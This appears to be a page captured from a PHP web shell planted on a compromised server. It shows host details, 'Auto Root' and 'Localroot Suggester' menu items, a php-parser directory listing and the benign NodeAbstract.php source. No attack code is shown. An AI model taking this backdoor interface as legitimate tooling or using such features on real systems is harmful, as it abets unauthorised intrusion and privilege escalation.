Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.171
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
nikic /
php-parser /
lib /
PhpParser /
Delete
Unzip
Name
Size
Permission
Date
Action
Builder
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Comment
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
ErrorHandler
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Internal
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Lexer
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Node
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
NodeVisitor
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Parser
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
PrettyPrinter
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Builder.php
203
B
-rw-r--r--
2018-10-10 09:00
BuilderFactory.php
9.45
KB
-rw-r--r--
2018-10-10 09:00
BuilderHelpers.php
8.66
KB
-rw-r--r--
2018-10-10 09:00
Comment.php
5.43
KB
-rw-r--r--
2018-10-10 09:00
ConstExprEvaluationException.php
86
B
-rw-r--r--
2018-10-10 09:00
ConstExprEvaluator.php
8.91
KB
-rw-r--r--
2018-10-10 09:00
Error.php
4.92
KB
-rw-r--r--
2018-10-10 09:00
ErrorHandler.php
294
B
-rw-r--r--
2018-10-10 09:00
JsonDecoder.php
3.19
KB
-rw-r--r--
2018-10-10 09:00
Lexer.php
14.47
KB
-rw-r--r--
2018-10-10 09:00
NameContext.php
9.69
KB
-rw-r--r--
2018-10-10 09:00
Node.php
3.96
KB
-rw-r--r--
2018-10-10 09:00
NodeAbstract.php
5.1
KB
-rw-r--r--
2018-10-10 09:00
NodeDumper.php
6.59
KB
-rw-r--r--
2018-10-10 09:00
NodeFinder.php
2.39
KB
-rw-r--r--
2018-10-10 09:00
NodeTraverser.php
10.34
KB
-rw-r--r--
2018-10-10 09:00
NodeTraverserInterface.php
629
B
-rw-r--r--
2018-10-10 09:00
NodeVisitor.php
1.98
KB
-rw-r--r--
2018-10-10 09:00
NodeVisitorAbstract.php
438
B
-rw-r--r--
2018-10-10 09:00
Parser.php
628
B
-rw-r--r--
2018-10-10 09:00
ParserAbstract.php
38.49
KB
-rw-r--r--
2018-10-10 09:00
ParserFactory.php
1.58
KB
-rw-r--r--
2018-10-10 09:00
PrettyPrinterAbstract.php
52.25
KB
-rw-r--r--
2018-10-10 09:00
Save
Rename
<?php declare(strict_types=1); namespace PhpParser; use PhpParser\Node; abstract class NodeAbstract implements Node, \JsonSerializable { protected $attributes; /** * Creates a Node. * * @param array $attributes Array of attributes */ public function __construct(array $attributes = []) { $this->attributes = $attributes; } /** * Gets line the node started in (alias of getStartLine). * * @return int Start line (or -1 if not available) */ public function getLine() : int { return $this->attributes['startLine'] ?? -1; } /** * Gets line the node started in. * * Requires the 'startLine' attribute to be enabled in the lexer (enabled by default). * * @return int Start line (or -1 if not available) */ public function getStartLine() : int { return $this->attributes['startLine'] ?? -1; } /** * Gets the line the node ended in. * * Requires the 'endLine' attribute to be enabled in the lexer (enabled by default). * * @return int End line (or -1 if not available) */ public function getEndLine() : int { return $this->attributes['endLine'] ?? -1; } /** * Gets the token offset of the first token that is part of this node. * * The offset is an index into the array returned by Lexer::getTokens(). * * Requires the 'startTokenPos' attribute to be enabled in the lexer (DISABLED by default). * * @return int Token start position (or -1 if not available) */ public function getStartTokenPos() : int { return $this->attributes['startTokenPos'] ?? -1; } /** * Gets the token offset of the last token that is part of this node. * * The offset is an index into the array returned by Lexer::getTokens(). * * Requires the 'endTokenPos' attribute to be enabled in the lexer (DISABLED by default). * * @return int Token end position (or -1 if not available) */ public function getEndTokenPos() : int { return $this->attributes['endTokenPos'] ?? -1; } /** * Gets the file offset of the first character that is part of this node. * * Requires the 'startFilePos' attribute to be enabled in the lexer (DISABLED by default). * * @return int File start position (or -1 if not available) */ public function getStartFilePos() : int { return $this->attributes['startFilePos'] ?? -1; } /** * Gets the file offset of the last character that is part of this node. * * Requires the 'endFilePos' attribute to be enabled in the lexer (DISABLED by default). * * @return int File end position (or -1 if not available) */ public function getEndFilePos() : int { return $this->attributes['endFilePos'] ?? -1; } /** * Gets all comments directly preceding this node. * * The comments are also available through the "comments" attribute. * * @return Comment[] */ public function getComments() : array { return $this->attributes['comments'] ?? []; } /** * Gets the doc comment of the node. * * The doc comment has to be the last comment associated with the node. * * @return null|Comment\Doc Doc comment object or null */ public function getDocComment() { $comments = $this->getComments(); if (!$comments) { return null; } $lastComment = $comments[count($comments) - 1]; if (!$lastComment instanceof Comment\Doc) { return null; } return $lastComment; } /** * Sets the doc comment of the node. * * This will either replace an existing doc comment or add it to the comments array. * * @param Comment\Doc $docComment Doc comment to set */ public function setDocComment(Comment\Doc $docComment) { $comments = $this->getComments(); $numComments = count($comments); if ($numComments > 0 && $comments[$numComments - 1] instanceof Comment\Doc) { // Replace existing doc comment $comments[$numComments - 1] = $docComment; } else { // Append new comment $comments[] = $docComment; } $this->setAttribute('comments', $comments); } public function setAttribute(string $key, $value) { $this->attributes[$key] = $value; } public function hasAttribute(string $key) : bool { return array_key_exists($key, $this->attributes); } public function getAttribute(string $key, $default = null) { if (!array_key_exists($key, $this->attributes)) { return $default; } else { return $this->attributes[$key]; } } public function getAttributes() : array { return $this->attributes; } public function setAttributes(array $attributes) { $this->attributes = $attributes; } /** * @return array */ public function jsonSerialize() : array { return ['nodeType' => $this->getType()] + get_object_vars($this); } }